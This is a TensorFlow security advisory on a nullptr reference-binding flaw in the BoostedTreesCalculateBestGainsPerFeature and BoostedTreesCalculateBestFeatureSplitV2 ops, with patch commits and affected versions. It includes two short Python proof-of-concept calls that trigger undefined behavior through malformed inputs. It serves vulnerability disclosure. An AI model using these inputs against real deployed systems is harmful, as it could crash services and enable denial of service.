Reference binding to nullptr in boosted trees
### Impact
An attacker can generate undefined behavior via a reference binding to nullptr in `BoostedTreesCalculateBestGainsPerFeature`:
```python
import tensorflow as tf
tf.raw_ops.BoostedTreesCalculateBestGainsPerFeature(
node_id_range=[],
stats_summary_list=[[1,2,3]],
l1=[1.0],
l2=[1.0],
tree_complexity =[1.0],
min_node_weight =[1.17],
max_splits=5)
```
A similar attack can occur in `BoostedTreesCalculateBestFeatureSplitV2`:
```python
import tensorflow as tf
tf.raw_ops.BoostedTreesCalculateBestFeatureSplitV2(
node_id_range=[],
stats_summaries_list=[[1,2,3]],
split_types=[''],
candidate_feature_ids=[1,2,3,4],
l1=[1],
l2=[1],
tree_complexity=[1.0],
min_node_weight=[1.17],
logits_dimension=5)
```
The implementation
https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/stats_ops.cc does not validate the input values.
### Patches
We have patched the issue in GitHub commit 9c87c32c710d0b5b53dc6fd3bfde4046e1f7a5ad
https://github.com/tensorflow/tensorflow/commit/9c87c32c710d0b5b53dc6fd3bfde4046e1f7a5ad and in commit. 429f009d2b2c09028647dd4bb7b3f6f414bbaad7
https://github.com/tensorflow/tensorflow/commit/429f009d2b2c09028647dd4bb7b3f6f414bbaad7.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.